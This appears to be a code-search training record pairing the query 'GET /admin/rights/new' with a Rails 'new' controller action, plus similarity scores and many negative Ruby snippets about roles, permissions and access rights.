"def index\n lists = policy_scope(List).includes(:admin).page(page).per(per)\n authorize lists\n json_response(PageDecorator.decorate(lists).as_json(admin: true), :ok)\n end",
"def index\n\t\tauthorize! :index, TipoPrivilegio\n @tipo_privilegios = TipoPrivilegio.all\n end",
"def index\n @admins = Admin.accessible_by(current_ability, :index).limit(20)\n respond_to do |format|\n format.json { render :json => @admins }\n format.xml { render :xml => @admins }\n format.html\n end\n end",
"def show\n render json: @role\n end",
"def index\n rol = Role.where(:id=>current_user.role).first\n\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @rpms = Rpm.all\n else\n @rpms = Rpm.where(:created_by=>current_user)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rpms }\n end\n end",
"def show\n @level = Level.find(params[:id])\n authorize! :show, @level, :message => 'Acceso denegado.'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level }\n end\n end",
"def es_recolector \n if current_user.rol != 2\n render json: {entrega: [\"Operación no permitida para este rol de usuario\"]}, status:401 \n end\n end",
"def permitted_roles privilege\n result = JSON.parse url_for(:resources_permitted_roles, credentials, id, privilege).get\n if result.is_a?(Hash) && ( count = result['count'] )\n count\n else\n result\n end\n end",
"def show\n case current_user.role.name\n when \"Viewer\", \"User\"\n head :no_content\n return\n when \"Manager\", \"Admin\", \"SuperAdmin\"\n else\n raise \"User with email = \\\"#{current_user.email}\\\" has an invalid role!\"\n end\n render json: @organisation.as_json(\n only: [:id, :name],\n include: {\n organisation_units: {\n only: [:id, :name],\n include: {\n users: {\n only: [:id, :name],\n include: {\n role: { only: [:name] }\n }\n }\n }\n },\n }\n )\n end",
"def rights=(new_rights)\n @rights = new_rights\n end",
"def show\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permision }\n end\n end",
"def access_rights\n convert_byte_to_access_rights @access_rights if @access_rights\n end",
"def show\n authorize! :read, @admin_operator\n end",
"def show\n authorize @institute\n @admins = User.where(role:3,institute_id: @institute.id)\n @students = User.where(role:1,institute_id: @institute.id)\n end",
"def index\n @moderations = @course.moderations.all\n authorize Moderation\n end",
"def index\n @details = Detail.all\n authorize @details \n end",
"def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end",
"def index\n @role_privileges = RolePrivilege.all\n end",
"def rights_statement\n @rights_statement ||= begin\n source = self['rights_statement']\n wrapped = source.respond_to?(:to_a) ? source.to_a : Array.wrap(source)\n mapped_strings = wrapped.map do |value|\n # most likely case, ActiveTriples::Resource\n next value.rdf_subject.to_s if value.respond_to?(:rdf_subject)\n\n # might be an RDF::URI?\n next value.id if value.respond_to?(:id)\n\n # otherwise, leave it as-is\n value\n end\n\n multiple?('rights_statement') ? mapped_strings : mapped_strings.first\n end\n end",
"def show\n @admin_authoring_site = Admin::AuthoringSite.find(params[:id])\n authorize @admin_authoring_site\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_authoring_site }\n end\n end",
"def index\n @organization_memberships = OrganizationMembership.where(user_id: params['user_id'])\n authorize @organization_memberships\n\n render json: @organization_memberships\n end",
"def show\n @authorization = Authorization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @authorization }\n end\n end",
"def show\n\t\tauthorize! :index, TipoPrivilegio\n end",
"def show\n @role = Role.includes(:personal_roles => :person).find_by_slug!(params[:id])\n respond_to do |format|\n format.html\n format.json { render :json => @role }\n end\n end",
"def index\n @sys_roles = SysRole.all\n end",
"def show\n @admin_level = AdminLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_level }\n end\n end",
"def create\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n access_right_hash = params[:access_right]\n \n if current_user.super_admin\n is_ok = true\n else\n current_user.roles.each { |r|\n r.access_rights.each { |ar|\n puts access_right_hash['model_name']\n if ar.model_name == access_right_hash['model_name'] && ar.action == access_right_hash['action']\n is_ok = true\n end\n }\n }\n end\n \n respond_to do |format|\n if is_ok\n @access_right = @role.access_rights.create(params[:access_right])\n @access_right.company_id = current_user.company_id\n @access_right.save\n format.html { redirect_to company_role_path(@company, @role) }\n else\n format.html { redirect_to company_role_path(@company, @role), notice: 'Usted no puede conceder este permiso.' }\n end\n end\n end",
"def roles!(access = {})\n json = Api::Request.new do |request|\n request[:access] = access\n request[:method] = :GET\n request[:path] = '/mgmt/{{client_id}}/roles'\n end.execute!\n\n json[:roles]\n end",
"def index\n @menus = @user.menus.all\n render json: @menus\n end",
"def index\n @categories = Category.all\n @categories.each do |category|\n authorize! :read, category\n end\n render json: @categories\n end",
"def index\n @org_roles = OrgRole.all\n end",
"def index\n @cms_roles = Cms::Role.all\n end",
"def index\n index_helper\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @role_permissions }\n end\n end",
"def index\n @security_role_menus = Security::RoleMenu.all\n end",
"def show\n authorize! @organization\n end",
"def permission_resources\n %w{roles sites employees classrooms students gapps_org_units}\n end",
"def index\n rol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @achievments = Achievment.all\n else\n @achievments = Achievment.where(:sede_id=>current_user.sede)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @achievments }\n end\n end",
"def show\n authorize! :read, Registro\n respond_to do |format|\n format.html { redirect_to registros_url}\n format.json { head :no_content }\n end\n end",
"def abilities\n get('/ability/')\n end",
"def destroy\n @right = Right.find(params[:id])\n @right.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_rights_url }\n format.json { head :no_content }\n end\n end",
"def index # ☑️ will get all users\n if current_user.admin == true \n render json: User.all\n else \n render json: {message: \"Authorized access denied. Admin status: #{current_user.admin}\"} \n end\n end",
"def show\n if @canister.nil?\n head :not_found\n else\n render json: @canister.properties\n end\n end",
"def index\n if current_user.super_admin?\n @organisations = Organisation.all.order(:id)\n render json: @organisations.to_json\n else\n head :no_content\n end\n end",
"def show\n @roles = Role.all\n end",
"def show\n @rubric = Rubric.find(params[:id])\n authorize @rubric\n end",
"def index\n authorize! :index, Campus, :message => 'Acceso denegado.'\n @campuses = @university.campuses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @campuses }\n end\n end",
"def index\n role = Role.find_by_name('Admin')\n @users = role.users\n end",
"def index\n @roles = System::Role.all\n end",
"def getOrden \n \t@orden = Orden.where(:rest => params[:id_res])\n \trender json: @orden\n end",
"def show\n @company = Company.find(params[:id])\n respond_to do |format|\n if current_user.admin?\n format.html # index.html.erb\n format.json { render json: @companies }\n else\n format.html {render \"public/403.html\"}\n end\n end\n end",
"def permission_level(repo, collaborator, options={})\n get \"#{Repository.path repo}/collaborators/#{collaborator}/permission\", options\n end",
"def index\n @company = Company.find(params[:company_id])\n @roles = Role.where(:company_id => @company.id)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roles }\n end\n end"
] |
[
"0.7418531",
"0.7017065",
"0.6966152",
"0.6679354",
"0.64964217",
"0.6463677",
"0.63731945",
"0.6355264",
"0.634057",
"0.63171875",
"0.63143224",
"0.63143224",
"0.63143224",
"0.63143224",
"0.63143224",
"0.62540203",
"0.6169052",
"0.6121812",
"0.61162615",
"0.6101706",
"0.6098248",
"0.6080717",
"0.604834",
"0.6021163",
"0.60167754",
"0.6013665",
"0.600622",
"0.59850675",
"0.5974454",
"0.59685534",
"0.5945711",
"0.5933357",
"0.5931765",
"0.5898059",
"0.58817536",
"0.5876332",
"0.587431",
"0.5871833",
"0.5868331",
"0.5862412",
"0.5856715",
"0.5850188",
"0.5850188",
"0.58390313",
"0.5831136",
"0.5827562",
"0.5825701",
"0.5808753",
"0.5808706",
"0.58071756",
"0.5806202",
"0.5796069",
"0.5795813",
"0.57909656",
"0.57893044",
"0.5788311",
"0.5782035",
"0.5781071",
"0.57774544",
"0.5776855",
"0.57707345",
"0.5768431",
"0.57640684",
"0.57562745",
"0.5752623",
"0.57472885",
"0.57364684",
"0.57315665",
"0.57298464",
"0.5725437",
"0.5719827",
"0.5718427",
"0.57184017",
"0.57100385",
"0.5709973",
"0.5709434",
"0.57049453",
"0.57016087",
"0.5697631",
"0.56846035",
"0.56749547",
"0.56674427",
"0.56671494",
"0.5666923",
"0.56634104",
"0.5663142",
"0.56554836",
"0.56543356",
"0.5652054",
"0.564384",
"0.5638278",
"0.5637472",
"0.5631251",
"0.5615902",
"0.56137556",
"0.5610114",
"0.5609036",
"0.56068814",
"0.5604267",
"0.5598826"
] |
0.6186792
|
16
|
GET /admin/rights/new GET /admin/rights/new.json
|
def new
@right = Right.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @right }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @access_right = AccessRight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @access_right }\n end\n end",
"def new\n \n @roles_and_permission = @roles.roles_and_permission.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def new\n\t\t@roles_new = Role.all\n\t\tif can?(:update, Role)\n\t\t\t@roles_new = Role.all\n\t\tend\n\n @user = User.new if can?(:create, User)\n respond_to do |format|\n format.json { render :json => @user } \n format.xml { render :xml => @user }\n format.html\n end\n end",
"def new\n @new = true\n @administrativo = Administrativo.new\n @administrativo.build_user\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @administrativo }\n end\n end",
"def new\n @restriction = Restriction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @restriction }\n end\n end",
"def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @administration }\n end\n end",
"def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @administration }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role }\n end\n end",
"def new\n @lab_permissions_role = LabPermissionsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def new\n @role = Role.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role }\n end\n end",
"def new\n authorize Admin::AuthoringSite\n @admin_authoring_site = Admin::AuthoringSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_authoring_site }\n end\n end",
"def new\n @permission = Permission.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @permission }\n end\n end",
"def new\n submenu_item 'role-new'\n @role = Role.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n \tauthorize! :new, @palestrante\n @palestrante = Palestrante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @palestrante }\n end\n end",
"def new\n authorize! :index, @user, :message => 'Not authorized as an administrator.'\n @specialist = Specialist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @specialist }\n end\n end",
"def new\n @role = Role.new(:category => 0)\n @possible_permissions = Permission.by_category(@role.category)\n\n respond_to do |format|\n format.xml { render :xml => @role }\n format.js #new.js.rjs\n end\n end",
"def new\n @permission_resource = PermissionResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @permission_resource }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course_role }\n end\n end",
"def new\n @company = Company.find(params[:company_id])\n if !can?(:manage, @company)\n raise CanCan::AccessDenied.new(\"Usted no puede administrar otra compañia\", :manage, @company)\n end\n @user = User.new\n @roles = Role.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @admin_level = AdminLevel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_level }\n end\n end",
"def new\n @permission = Permission.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def new\n @admin = Admin.new\n build_permissions\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @admin }\n end\n end",
"def new\n @grupo = Grupo.new\n authorize! :create, @grupo\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @grupo }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\n @authorization = Authorization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @authorization }\n end\n end",
"def new\n @role_permision = RolePermision.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role_permision }\n end\n end",
"def create\n @rights_holder = RightsHolder.new(rights_holder_params)\n\n respond_to do |format|\n if @rights_holder.save\n format.html { redirect_to @rights_holder, notice: 'Rights holder was successfully created.' }\n format.json { render :show, status: :created, location: @rights_holder }\n else\n format.html { render :new }\n format.json { render json: @rights_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end",
"def new\n @company = Company.find(params[:company_id])\n @role = Role.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role }\n end\n end",
"def new\n @security = Security.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @security }\n end\n end",
"def new\n @node = Node.new\n authorize! :create, @node\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def new\n @admin_side_menu = Admin::SideMenu.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_side_menu }\n end\n end",
"def new\n @niveau = Niveau.new\n authorize! :new, @niveau\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @niveau }\n end\n end",
"def new\n @person = Person.new\n @companies = Company.pluck(:name)\n\n authorize! :create, Person\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @operations_role = OperationsRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operations_role }\n end\n end",
"def new\n return redirect_to root_url, notice: \"Vous n'avez pas accès à cette ressource.\" if !permition_to_write?(@user)\n @capacite = Capacite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @capacite }\n end\n end",
"def new\n @organization = Organization.new\n @organization.name = params[:name]\n @organization.url = params[:url]\n @organization.homepage_url = params[:homepage_url]\n @organization.address = params[:address]\n\n authorize! :new, @organization\n\n @title = new_action_title\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @organization }\n end\n end",
"def new\n @admin = Admin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin }\n end\n end",
"def new\n @license = License.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @license }\n end\n end",
"def new\n @privacy_term = PrivacyTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @privacy_term }\n end\n end",
"def new\n authorize!(:new,current_user) unless current_user.role?:lawfirm_admin or current_user.role?:livia_admin\n @companies = Company.getcompanylist(current_user.company_id)\n end",
"def new\n @admin_about = About.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_about }\n end\n end",
"def new\n @user = User.new\n @permissions = Permission.order('action desc')\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end",
"def create\n @right = Right.new(params[:right])\n\n respond_to do |format|\n if @right.save\n format.html { redirect_to admin_right_path(@right), notice: 'Right was successfully created.' }\n format.json { render json: @right, status: :created, location: @right }\n else\n format.html { render action: \"new\" }\n format.json { render json: @right.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n seleccionarMenu(:rondas)\n @ronda = current_usuario.rondas.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ronda }\n end\n end",
"def new\n @role_map = RoleMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @role_map }\n end\n end",
"def new\n @grant = Grant.new\n\n respond_to do |format|\n format.html { render :layout => false } # new.html.erb\n format.json { render json: @grant }\n end\n end",
"def new\n @course = Course.new\n authorize! :create, @course\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @member = Member.new\n user = @member.build_user\n @roles = Role.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member }\n end\n end",
"def new\n @store_policies_information = Store::Policies::Information.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @store_policies_information }\n end\n end",
"def new\n @member = Member.new\n user = @member.build_user\n @roles = Role.find(:all)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @member }\n end\n end",
"def new\r\n @administrateur = Administrateur.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @administrateur }\r\n end\r\n end",
"def new\n @critic = Critic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critic }\n end\n end",
"def new\r\n @org = Org.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @org }\r\n end\r\n end",
"def new\n @page = 'newdoll'\n @doll = current_user.dolls.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doll }\n end\n end",
"def h_new\n @institution = Institution.new(type_id: InstitutionType.first.id)\n authorize! :create, @institution\n end",
"def new\n @comic = Comic.new\n authorize! :create , Comic\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comic }\n end\n end",
"def new\n\t\tdeny_access_unless(admin? || editor?)\n @article = Article.new\n\t\t@article.published = false\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @article }\n end\n end",
"def new\n authorize! :index, @user, :message => 'Not authorized.'\n @common = Common.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @common }\n end\n end",
"def new\n if current_admin.present?\n @clients = Client.all\n @client = Client.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client }\n end\n else\n redirect_to new_admin_session_path and return\n end \n end",
"def new\n @account = Account.new\n authorize! :create, Account\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @project_role = ProjectRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_role }\n end\n end",
"def new\n respond_to do |format|\n format.json { render :json => @admin } \n format.xml { render :xml => @admin }\n format.html\n end\n end",
"def new\n @admin_registration = Registration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_registration }\n end\n end",
"def new\n # @profile = Profile.new\n # authorize! :new, @profile\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @profile }\n end\n end",
"def new\r\n permissions\r\n @role = Role.new\r\n \r\n #render layout: \"users\"\r\n end",
"def admin_new\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.new(org_id: current_user.org.id)\n authorize @guidance_group\n end",
"def new\n authorize! :admin, Coordenador\n \n @coordenador = Coordenador.new\n @coordenador.build_usuario\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @coordenador }\n end\n end",
"def new\n @creator_accession_relationship = CreatorAccessionRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_accession_relationship }\n end\n end",
"def new\n @story = Story.new\n @roles = Role.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @story }\n end\n end",
"def new\n\n authorize! :manage, @product, :message => 'Not authorized as an administrator'\n @product = Product.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product }\n end\n end",
"def new\n @company = Company.new\n respond_to do |format|\n if current_user.admin?\n format.html # index.html.erb\n format.json { render json: @companies }\n else\n format.html {render \"public/403.html\"}\n end\n end\n end",
"def new\n @orbituarysite = current_user.orbituarysites.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @orbituarysite }\n end\n end",
"def new\n @role = Role.new\n respond_with(@role)\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end",
"def new\n @role = Role.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end",
"def new\n @persona_tipo = PersonaTipo.new\n if current_user.is_admin?\n @congresos = Congreso.all(:order => \"nombre\")\n else\n @congresos = current_user.congresos(:order => \"nombre\")\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona_tipo }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n @role = Role.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def new\n @readonly_administrator = ReadonlyAdministrator.new\n respond_with @readonly_administrator\n end",
"def new\r\n @administration_category = Category.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @administration_category }\r\n end\r\n end",
"def new\n @modifier = Modifier.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modifier }\n end\n end",
"def new\n @collection = @user.collections.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection }\n end\n end",
"def new\n @editability = Editability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @editability }\n end\n end",
"def new\n authorize! :create, Project\n \n @project = Project.new\n puts @project\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @distraction = Distraction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @distraction }\n end\n end",
"def new\n @app_role = AppRole.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @app_role }\n end\n end",
"def new\n @governor = Governor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @governor }\n end\n end",
"def create\n # Creating a new with strong params\n @new = New.new(new_params)\n # Assinging that new to a specific user\n @new.user = User.first\n\n # Authorizing that only admin users can create a new\n authorize @new\n\n # If new is created and saved\n if @new.save\n # Show the specific new just created\n render :show, status: :created\n else\n # Show an error on the creation of the new\n render_error\n end\n end",
"def new\n client = authorize\n client.materialize(\"Course__c\")\n \n @Course = Course__c.new\n @Course.OwnerId = '005E0000001T9Nv'\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @Course }\n end\n end",
"def new\n @access = Access.new\n \n respond_to do |format|\n format.html # new.html.haml\n format.js # new.js.rjs\n format.xml { render :xml => @access }\n format.json { render :json => @access }\n end\n end",
"def new\n @additional_registrant_access = AdditionalRegistrantAccess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @additional_registrant_access }\n end\n end",
"def new\n @corporation = Corporation.new\n @page_header = \"Добавление новой Корпорации\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @corporation }\n end\n end",
"def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @authorization = Authorization.new\n \n @lists = current_user.managed_lists.map_name_and_id\n @restaurants = current_user.managed_restaurants.map_name_and_id\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @authorization }\n end\n end"
] |
[
"0.728867",
"0.6990209",
"0.68578523",
"0.6855714",
"0.67928547",
"0.6774837",
"0.6774837",
"0.6704889",
"0.6704889",
"0.6704889",
"0.6651943",
"0.6631726",
"0.6598057",
"0.6594575",
"0.65912896",
"0.6590574",
"0.6576664",
"0.6569264",
"0.6564156",
"0.655572",
"0.6551336",
"0.6548355",
"0.6542094",
"0.65417546",
"0.6502",
"0.65017873",
"0.6491306",
"0.6485245",
"0.6473657",
"0.6471309",
"0.6444376",
"0.64341617",
"0.64237547",
"0.6405885",
"0.63981676",
"0.6393756",
"0.6384046",
"0.6381496",
"0.6379785",
"0.6378319",
"0.6360546",
"0.6352345",
"0.634775",
"0.6344407",
"0.63359153",
"0.6334684",
"0.63260746",
"0.6320844",
"0.63180363",
"0.63160074",
"0.6305249",
"0.630152",
"0.6301256",
"0.6296917",
"0.6293979",
"0.62916017",
"0.62908906",
"0.6287441",
"0.6276336",
"0.62715334",
"0.6268054",
"0.62668973",
"0.6265849",
"0.6264853",
"0.6251976",
"0.62512356",
"0.6249315",
"0.6247344",
"0.62396073",
"0.62381667",
"0.62351483",
"0.62335736",
"0.6233145",
"0.6231264",
"0.6228846",
"0.62285197",
"0.6224765",
"0.6223811",
"0.6222453",
"0.6221906",
"0.62144434",
"0.62144434",
"0.62144434",
"0.62144434",
"0.6214432",
"0.62127346",
"0.62010235",
"0.6196571",
"0.61880434",
"0.61851335",
"0.6179084",
"0.6179072",
"0.6177864",
"0.6177627",
"0.6173079",
"0.61663705",
"0.616552",
"0.61595625",
"0.6157192",
"0.615691"
] |
0.7044477
|
1
|
POST /admin/rights POST /admin/rights.json
|
def create
@right = Right.new(params[:right])
respond_to do |format|
if @right.save
format.html { redirect_to admin_right_path(@right), notice: 'Right was successfully created.' }
format.json { render json: @right, status: :created, location: @right }
else
format.html { render action: "new" }
format.json { render json: @right.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_rights\n @rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def add_right\n role = Role.find(params[:id])\n\tright = Right.find(params[:right_id])\n role.rights << right\n redirect_to roles_rights_url\n\n end",
"def create\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n access_right_hash = params[:access_right]\n \n if current_user.super_admin\n is_ok = true\n else\n current_user.roles.each { |r|\n r.access_rights.each { |ar|\n puts access_right_hash['model_name']\n if ar.model_name == access_right_hash['model_name'] && ar.action == access_right_hash['action']\n is_ok = true\n end\n }\n }\n end\n \n respond_to do |format|\n if is_ok\n @access_right = @role.access_rights.create(params[:access_right])\n @access_right.company_id = current_user.company_id\n @access_right.save\n format.html { redirect_to company_role_path(@company, @role) }\n else\n format.html { redirect_to company_role_path(@company, @role), notice: 'Usted no puede conceder este permiso.' }\n end\n end\n end",
"def index\n @rights = Right.all\n end",
"def rights=(new_rights)\n @rights = new_rights\n end",
"def create\n @rights_holder = RightsHolder.new(rights_holder_params)\n\n respond_to do |format|\n if @rights_holder.save\n format.html { redirect_to @rights_holder, notice: 'Rights holder was successfully created.' }\n format.json { render :show, status: :created, location: @rights_holder }\n else\n format.html { render :new }\n format.json { render json: @rights_holder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def right_params\n params.require(:right).permit(:user_id,\n :campground_id,\n :can_view_rights,\n :can_edit_rights,\n :can_view_campground,\n :can_edit_campground,\n :can_view_bookings,\n :can_edit_bookings,\n :can_create_bookings,\n :can_delete_bookings,\n :can_view_clients,\n :can_edit_clients,\n :can_delete_clients,\n :can_view_api_keys,\n :can_create_api_keys,\n :can_edit_api_keys,\n :can_delete_api_keys,\n :can_view_users,\n :can_create_users,\n :can_edit_users,\n :can_delete_users)\n end",
"def assign\n useraccount = Useraccount.find_by_username(params[:username])\n right = Right.find(params[:right_id])\n useraccount.rights << right\n \n redirect_to :action => 'rightassignment', :username => params[:username]\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def add_right_to_personalgroup(right)\n self.rights << right\n end",
"def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end",
"def add_rights(verbs, resources)\n @rights << RoleRight.new(verbs, resources)\n self\n end",
"def add_rights_statement\n parsed_metadata['rightsStatement'] = [parser.parser_fields['rights_statement']] if override_rights_statement\n end",
"def index\n @access_rights = AccessRight.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @access_rights }\n end\n end",
"def add_user_rights_row\n @organization = Organization.find(params[:organization_id])\n @new_ur_identity = Identity.find_or_create(params[:new_ur_identity_id])\n @user_rights = user_rights(@organization.id)\n end",
"def new\n @access_right = AccessRight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @access_right }\n end\n end",
"def rights\n self[\"rights_tesim\"]\n end",
"def rights\n uri = metadata[dataset_uri][dct.rights.to_s][0]\n rights = metadata[uri] rescue nil\n if rights.nil?\n rights = Rights.new(:uri => uri)\n else\n rights = Rights.new(:uri => uri, \n :dataLicense => rights[odrs.dataLicense.to_s][0], \n :contentLicense => rights[odrs.contentLicense.to_s][0], \n :copyrightNotice => rights[odrs.copyrightNotice.to_s][0], \n :attributionURL => rights[odrs.attributionURL.to_s][0],\n :attributionText => rights[odrs.attributionText.to_s][0]\n )\n end\n return rights\n rescue\n []\n end",
